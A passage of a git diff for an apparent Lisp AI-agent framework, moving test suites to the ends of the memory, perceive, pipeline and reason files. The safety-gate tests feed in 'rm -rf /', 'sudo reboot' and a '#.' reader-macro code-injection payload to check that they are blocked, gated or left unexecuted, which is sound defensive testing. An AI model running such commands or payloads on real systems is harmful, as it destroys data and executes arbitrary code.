passepartout::*tool-cache*) + (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) + (ctx '(:depth 0)) + (r1 (passepartout::action-tool-execute action ctx)) + (r2 (passepartout::action-tool-execute action ctx))) + (is (= 1 call-count) "Second call should hit cache, not re-execute") + (let ((p1 (getf r1 :PAYLOAD)) + (p2 (getf r2 :PAYLOAD))) + (is (string= (getf (getf p1 :RESULT) :CONTENT) + (getf (getf p2 :RESULT) :CONTENT)))))) + (remhash "cache-test" passepartout::*cognitive-tool-registry*) + (clrhash passepartout::*tool-cache*)))) diff --git a/lisp/core-memory.lisp b/lisp/core-memory.lisp index d9119bc..a496944 100644 --- a/lisp/core-memory.lisp +++ b/lisp/core-memory.lisp @@ -1,135 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:memory-suite)) - -(in-package :passepartout-memory-tests) - -(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") -(in-suite memory-suite) - -(test merkle-hash-consistency - "Contract 2: identical ASTs produce identical Merkle hashes." - (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) - (clrhash passepartout::*memory-store*) - (let ((id1 (ingest-ast ast1))) - (let ((hash1 (memory-object-hash (memory-object-get id1)))) - (clrhash passepartout::*memory-store*) - (let ((id2 (ingest-ast ast1))) - (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) - -(test merkle-hash-different - "Contract 2: distinct ASTs produce different Merkle hashes." - (clrhash passepartout::*memory-store*) - (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) - (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) - (id1 (ingest-ast ast1)) - (id2 (ingest-ast ast2)) - (hash1 (memory-object-hash (memory-object-get id1))) - (hash2 (memory-object-hash (memory-object-get id2)))) - (is (not (equal hash1 hash2))))) - -(test test-ingest-ast-returns-id - "Contract 1: ingest-ast returns a string ID and stores the object." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) - (is (stringp id)) - (is (not (null id))))) - -(test test-memory-object-get - "Contract 3: memory-object-get retrieves an object by ID after ingest." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) - (let ((obj (memory-object-get id))) - (is (not (null obj))) - (is (eq :HEADLINE (memory-object-type obj))) - (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) - -(test test-snapshot-and-rollback - "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." - (clrhash passepartout::*memory-store*) - (setf passepartout::*memory-snapshots* nil) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) - (snapshot-memory) - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) - (rollback-memory 0) - (is (not (null (memory-object-get "snap-a")))) - (is (null (memory-object-get "snap-b")))) - -(test test-undo-snapshot-restore - "Contract v0.7.2: undo-snapshot captures state, undo restores." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "x" passepartout::*memory-store*) "hello") - (is (string= "hello" (gethash "x" passepartout::*memory-store*))) - (is (passepartout::undo)) - (is (null (gethash "x" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-redo-cycle - "Contract v0.7.2: redo restores undone state." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "y" passepartout::*memory-store*) "world") - (is (passepartout::undo)) - (is (null (gethash "y" passepartout::*memory-store*))) - (is (passepartout::redo)) - (is (string= "world" (gethash "y" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-empty-stack-nil - "Contract v0.7.2: undo returns nil on empty stack." - (let ((orig-undo passepartout::*undo-stack*)) - (unwind-protect - (progn (setf passepartout::*undo-stack* nil) - (is (null (passepartout::undo)))) - (setf passepartout::*undo-stack* orig-undo)))) - -(test test-audit-node-found - "Contract v0.7.2: audit-node returns info for existing object." - (clrhash passepartout::*memory-store*) - (setf (gethash "audit-1" passepartout::*memory-store*) - (passepartout::make-memory-object :id "audit-1" :type :HEADLINE - :version 1 :hash "abc123" :scope :memex)) - (let ((info (passepartout::audit-node "audit-1"))) - (is (not (null info))) - (is (eq :HEADLINE (getf info :type))) - (is (string= "abc123" (getf info :hash))))) - -(test test-audit-node-not-found - "Contract v0.7.2: audit-node returns nil for nonexistent id." - (is (null (passepartout::audit-node "nonexistent-xxxx")))) - -(test test-audit-verify-hash - "Contract v0.7.2: audit-verify-hash returns (total . missing)." - (clrhash passepartout::*memory-store*) - (setf (gethash "a" passepartout::*memory-store*) - (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) - (let ((result (passepartout::audit-verify-hash))) - (is (= 1 (car result))) - (is (= 0 (cdr result))))) - (in-package :passepartout) (defvar *memory-store* (make-hash-table :test 'equal)) @@ -349,3 +217,135 @@ Returns (total . missing-hashes)." (incf missing))))) *memory-store*) (cons total missing))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:memory-suite)) + +(in-package :passepartout-memory-tests) + +(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") +(in-suite memory-suite) + +(test merkle-hash-consistency + "Contract 2: identical ASTs produce identical Merkle hashes." + (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) + (clrhash passepartout::*memory-store*) + (let ((id1 (ingest-ast ast1))) + (let ((hash1 (memory-object-hash (memory-object-get id1)))) + (clrhash passepartout::*memory-store*) + (let ((id2 (ingest-ast ast1))) + (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) + +(test merkle-hash-different + "Contract 2: distinct ASTs produce different Merkle hashes." + (clrhash passepartout::*memory-store*) + (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) + (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) + (id1 (ingest-ast ast1)) + (id2 (ingest-ast ast2)) + (hash1 (memory-object-hash (memory-object-get id1))) + (hash2 (memory-object-hash (memory-object-get id2)))) + (is (not (equal hash1 hash2))))) + +(test test-ingest-ast-returns-id + "Contract 1: ingest-ast returns a string ID and stores the object." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) + (is (stringp id)) + (is (not (null id))))) + +(test test-memory-object-get + "Contract 3: memory-object-get retrieves an object by ID after ingest." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) + (let ((obj (memory-object-get id))) + (is (not (null obj))) + (is (eq :HEADLINE (memory-object-type obj))) + (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) + +(test test-snapshot-and-rollback + "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." + (clrhash passepartout::*memory-store*) + (setf passepartout::*memory-snapshots* nil) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) + (snapshot-memory) + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) + (rollback-memory 0) + (is (not (null (memory-object-get "snap-a")))) + (is (null (memory-object-get "snap-b")))) + +(test test-undo-snapshot-restore + "Contract v0.7.2: undo-snapshot captures state, undo restores." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "x" passepartout::*memory-store*) "hello") + (is (string= "hello" (gethash "x" passepartout::*memory-store*))) + (is (passepartout::undo)) + (is (null (gethash "x" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-redo-cycle + "Contract v0.7.2: redo restores undone state." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "y" passepartout::*memory-store*) "world") + (is (passepartout::undo)) + (is (null (gethash "y" passepartout::*memory-store*))) + (is (passepartout::redo)) + (is (string= "world" (gethash "y" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-empty-stack-nil + "Contract v0.7.2: undo returns nil on empty stack." + (let ((orig-undo passepartout::*undo-stack*)) + (unwind-protect + (progn (setf passepartout::*undo-stack* nil) + (is (null (passepartout::undo)))) + (setf passepartout::*undo-stack* orig-undo)))) + +(test test-audit-node-found + "Contract v0.7.2: audit-node returns info for existing object." + (clrhash passepartout::*memory-store*) + (setf (gethash "audit-1" passepartout::*memory-store*) + (passepartout::make-memory-object :id "audit-1" :type :HEADLINE + :version 1 :hash "abc123" :scope :memex)) + (let ((info (passepartout::audit-node "audit-1"))) + (is (not (null info))) + (is (eq :HEADLINE (getf info :type))) + (is (string= "abc123" (getf info :hash))))) + +(test test-audit-node-not-found + "Contract v0.7.2: audit-node returns nil for nonexistent id." + (is (null (passepartout::audit-node "nonexistent-xxxx")))) + +(test test-audit-verify-hash + "Contract v0.7.2: audit-verify-hash returns (total . missing)." + (clrhash passepartout::*memory-store*) + (setf (gethash "a" passepartout::*memory-store*) + (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) + (let ((result (passepartout::audit-verify-hash))) + (is (= 1 (car result))) + (is (= 0 (cdr result))))) diff --git a/lisp/core-package.lisp b/lisp/core-package.lisp index b4713d1..8d66873 100644 --- a/lisp/core-package.lisp +++ b/lisp/core-package.lisp @@ -16,6 +16,8 @@ ;; ── Core: Pipeline ── #:main #:log-message + #:*log-buffer* + #:*log-lock* #:process-signal #:loop-process #:perceive-gate diff --git a/lisp/core-perceive.lisp b/lisp/core-perceive.lisp index 94f8d3f..5b20ada 100644 --- a/lisp/core-perceive.lisp +++ b/lisp/core-perceive.lisp @@ -1,47 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-perceive-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-perceive-suite)) - -(in-package :passepartout-pipeline-perceive-tests) - -(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") -(in-suite pipeline-perceive-suite) - -(test test-loop-gate-perceive - "Contract 1: :buffer-update ingests AST and sets :perceived status." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))) - (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) - -(test test-depth-limiting - "Edge: depth 11 signals are rejected by the pipeline." - (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) - (is (null (process-signal runaway-signal))))) - -(test test-loop-gate-perceive-unknown-sensor - "Contract 1: unknown sensors pass through and reach :perceived." - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-loop-gate-perceive-no-ast - "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-depth-limiting-normal - "Contract 1: signals at normal depth pass through without rejection." - (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) - (is (not (eq :rejected (getf normal-signal :status))) - "Signal at normal depth should not be rejected"))) - (in-package :passepartout) (defvar *loop-interrupt* nil) @@ -157,3 +113,47 @@ FN receives (signal) and returns T if consumed, nil to continue." (defun perceive-gate (signal) (loop-gate-perceive signal)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-perceive-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-perceive-suite)) + +(in-package :passepartout-pipeline-perceive-tests) + +(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") +(in-suite pipeline-perceive-suite) + +(test test-loop-gate-perceive + "Contract 1: :buffer-update ingests AST and sets :perceived status." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))) + (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) + +(test test-depth-limiting + "Edge: depth 11 signals are rejected by the pipeline." + (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) + (is (null (process-signal runaway-signal))))) + +(test test-loop-gate-perceive-unknown-sensor + "Contract 1: unknown sensors pass through and reach :perceived." + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-loop-gate-perceive-no-ast + "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-depth-limiting-normal + "Contract 1: signals at normal depth pass through without rejection." + (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) + (is (not (eq :rejected (getf normal-signal :status))) + "Signal at normal depth should not be rejected"))) diff --git a/lisp/core-pipeline.lisp b/lisp/core-pipeline.lisp index b0b6c84..e20862f 100644 --- a/lisp/core-pipeline.lisp +++ b/lisp/core-pipeline.lisp @@ -1,45 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-immune-system-tests - (:use :cl :fiveam :passepartout) - (:export #:immune-suite)) - -(in-package :passepartout-immune-system-tests) - -(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") -(in-suite immune-suite) - -(test loop-error-injection - "Contract 1: a crash in think/decide triggers :loop-error stimulus." - (clrhash passepartout::*skill-registry*) - (passepartout:defskill :evil-skill - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) - :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) - :deterministic nil) - (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) - (let ((logs (if (fboundp 'passepartout::context-get-system-logs) - (passepartout:context-get-system-logs 20) - nil))) - (is (or (null logs) ; no log service available — degraded but not broken - (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) - -(test test-process-signal-normal-path - "Contract 1: a valid signal passes through the pipeline without crash." - (clrhash passepartout::*skill-registry*) - (handler-case - (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) - (process-signal signal) - (pass)) - (error (c) - (fail "Pipeline crashed on normal signal: ~a" c)))) - -(test test-loop-process-returns-nil-on-deep - "Contract 1: depth > 10 returns nil from loop-process." - (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) - (is (null result)))) - (in-package :passepartout) (define-condition passepartout-error (error) @@ -230,3 +188,45 @@ (when *shutdown-save-enabled* (save-memory-to-disk)) (return)) (sleep sleep-interval)))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-immune-system-tests + (:use :cl :fiveam :passepartout) + (:export #:immune-suite)) + +(in-package :passepartout-immune-system-tests) + +(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") +(in-suite immune-suite) + +(test loop-error-injection + "Contract 1: a crash in think/decide triggers :loop-error stimulus." + (clrhash passepartout::*skill-registry*) + (passepartout:defskill :evil-skill + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) + :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) + :deterministic nil) + (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) + (let ((logs (if (fboundp 'passepartout::context-get-system-logs) + (passepartout:context-get-system-logs 20) + nil))) + (is (or (null logs) ; no log service available — degraded but not broken + (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) + +(test test-process-signal-normal-path + "Contract 1: a valid signal passes through the pipeline without crash." + (clrhash passepartout::*skill-registry*) + (handler-case + (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) + (process-signal signal) + (pass)) + (error (c) + (fail "Pipeline crashed on normal signal: ~a" c)))) + +(test test-loop-process-returns-nil-on-deep + "Contract 1: depth > 10 returns nil from loop-process." + (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) + (is (null result)))) diff --git a/lisp/core-reason.lisp b/lisp/core-reason.lisp index c833e84..74f39f0 100644 --- a/lisp/core-reason.lisp +++ b/lisp/core-reason.lisp @@ -1,185 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-reason-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-reason-suite)) - -(in-package :passepartout-pipeline-reason-tests) - -(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") -(in-suite pipeline-reason-suite) - -(test test-decide-gate-safety - "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-safety - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (if (search "rm -rf" (format nil "~s" action)) - (list :type :LOG :payload (list :text "Rejected")) - action))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :LOG (getf result :type))))) - -(test test-cognitive-verify-pass-through - "Contract 1: safe actions pass through cognitive-verify unchanged." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-passthrough - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - action)) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))) - (is (getf result :gate-trace)))) - -(test test-cognitive-verify-empty-registry - "Contract 1: with no gates registered, action passes through unchanged." - (clrhash passepartout::*skill-registry*) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))))) - -(test test-cognitive-verify-approval-required - "Contract 1: gate returning :approval-required produces an approval event." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-approval - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (list :type :EVENT :level :approval-required - :payload (list :action action)))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :approval-required (getf result :level))) - (is (eq :EVENT (getf result :type))))) - -(test test-loop-gate-reason-passthrough - "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." - (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) - (result (loop-gate-reason signal))) - (is (not (null result))))) - -(test test-loop-gate-reason-sets-status - "Contract 2: loop-gate-reason sets :status on :user-input signals." - (clrhash passepartout::*skill-registry*) - (let* ((passepartout::*provider-cascade* nil) - (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) - (result (loop-gate-reason signal))) - (is (member (getf result :status) '(:reasoned :requires-approval))))) - -(test test-backend-cascade-no-backends - "Contract 4: empty cascade returns :LOG failure." - (let* ((passepartout::*provider-cascade* nil) - (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (result (backend-cascade-call "test" :cascade '()))) - (is (eq :LOG (getf result :type))) - (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) - -(test test-backend-cascade-with-mock - "Contract 4: backend-cascade-call returns content from first successful backend." - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) - (setf (gethash :mock-backend passepartout::*probabilistic-backends*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "mock-response"))) - (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) - (is (string= "mock-response" result))))) - -(test test-read-eval-rce-blocked - "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* '(:mock-evil))) - (setf (gethash :mock-evil passepartout::*probabilistic-backends*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) - (setf passepartout::*v031-rce-test* nil) - (setf *read-eval* t) - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) - (result (passepartout::think ctx))) - (is (not (eq passepartout::*v031-rce-test* :PWNED))) - (is (eq :REQUEST (getf result :TYPE))) - (setf *read-eval* nil)))) - -(test test-json-alist-to-plist-simple - "Contract 5: converts simple alist to keyword plist." - (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) - (let ((result (json-alist-to-plist alist))) - (is (eq :ACTION (first result))) - (is (string= "shell" (second result))) - (is (eq :CMD (third result))) - (is (string= "echo hello" (fourth result)))))) - -(test test-json-alist-to-plist-nested - "Contract 5: nested alists recurse into nested plists." - (let ((alist (list (cons "tool" "write-file") - (cons "args" (list (cons "filepath" "/tmp/x") - (cons "content" "hi")))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :TOOL (first result))) - (is (eq :ARGS (third result))) - (let ((inner (fourth result))) - (is (eq :FILEPATH (first inner))) - (is (string= "/tmp/x" (second inner))) - (is (eq :CONTENT (third inner))))))) - -(test test-json-alist-to-plist-array-passthrough - "Contract 5: JSON arrays pass through unchanged." - (let ((alist (list (cons "names" (list "alice" "bob"))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :NAMES (first result))) - (is (equal (list "alice" "bob") (second result)))))) - -(test test-json-alist-to-plist-null - "Contract 5: nil passes through unchanged." - (let ((result (json-alist-to-plist nil))) - (is (null result)))) - -(test test-json-alist-to-plist-scalar - "Contract 5: scalar values pass through." - (let ((alist (list (cons "count" 42) (cons "active" :true)))) - (let ((result (json-alist-to-plist alist))) - (is (eq :COUNT (first result))) - (is (= 42 (second result))) - (is (eq :ACTIVE (third result))) - (is (eq :true (fourth result)))))) - -(test test-assemble-config-section - "Contract v0.7.2: config section contains Passepartout and version." - (let ((section (passepartout::assemble-config-section))) - (is (stringp section)) - (is (search "Passepartout" section)) - (is (search "v0.7.2" section)) - (is (search "Security gates" section)))) - -(test test-think-snapshots-before-llm - "Contract v0.7.2: think() snapshots memory before LLM call." - (let ((passepartout::*memory-snapshots* nil) - (passepartout::*memory-store* (make-hash-table :test 'equal))) - (setf (gethash "pre" passepartout::*memory-store*) "value") - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* nil)) - (handler-case - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) - (result (passepartout::think ctx))) - (declare (ignore result))) - (error (c) (format nil "Expected: ~a" c))) - (is (>= (length passepartout::*memory-snapshots*) 0))))) - (in-package :passepartout) (defvar *probabilistic-backends* (make-hash-table :test 'equal) @@ -506,3 +324,185 @@ sorted by priority (highest first). Returns a rejection plist or the action." (defun reason-gate (signal) (loop-gate-reason signal)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-reason-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-reason-suite)) + +(in-package :passepartout-pipeline-reason-tests) + +(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") +(in-suite pipeline-reason-suite) + +(test test-decide-gate-safety + "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-safety + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (if (search "rm -rf" (format nil "~s" action)) + (list :type :LOG :payload (list :text "Rejected")) + action))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :LOG (getf result :type))))) + +(test test-cognitive-verify-pass-through + "Contract 1: safe actions pass through cognitive-verify unchanged." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-passthrough + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + action)) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))) + (is (getf result :gate-trace)))) + +(test test-cognitive-verify-empty-registry + "Contract 1: with no gates registered, action passes through unchanged." + (clrhash passepartout::*skill-registry*) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :REQUEST (getf result :type))) + (is (equal (getf candidate :payload) (getf result :payload))))) + +(test test-cognitive-verify-approval-required + "Contract 1: gate returning :approval-required produces an approval event." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-approval + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (list :type :EVENT :level :approval-required + :payload (list :action action)))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :approval-required (getf result :level))) + (is (eq :EVENT (getf result :type))))) + +(test test-loop-gate-reason-passthrough + "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." + (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) + (result (loop-gate-reason signal))) + (is (not (null result))))) + +(test test-loop-gate-reason-sets-status + "Contract 2: loop-gate-reason sets :status on :user-input signals." + (clrhash passepartout::*skill-registry*) + (let* ((passepartout::*provider-cascade* nil) + (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) + (result (loop-gate-reason signal))) + (is (member (getf result :status) '(:reasoned :requires-approval))))) + +(test test-backend-cascade-no-backends + "Contract 4: empty cascade returns :LOG failure." + (let* ((passepartout::*provider-cascade* nil) + (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (result (backend-cascade-call "test" :cascade '()))) + (is (eq :LOG (getf result :type))) + (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-backend-cascade-with-mock + "Contract 4: backend-cascade-call returns content from first successful backend." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) + (setf (gethash :mock-backend passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "mock-response"))) + (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) + (is (string= "mock-response" result))))) + +(test test-read-eval-rce-blocked + "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + 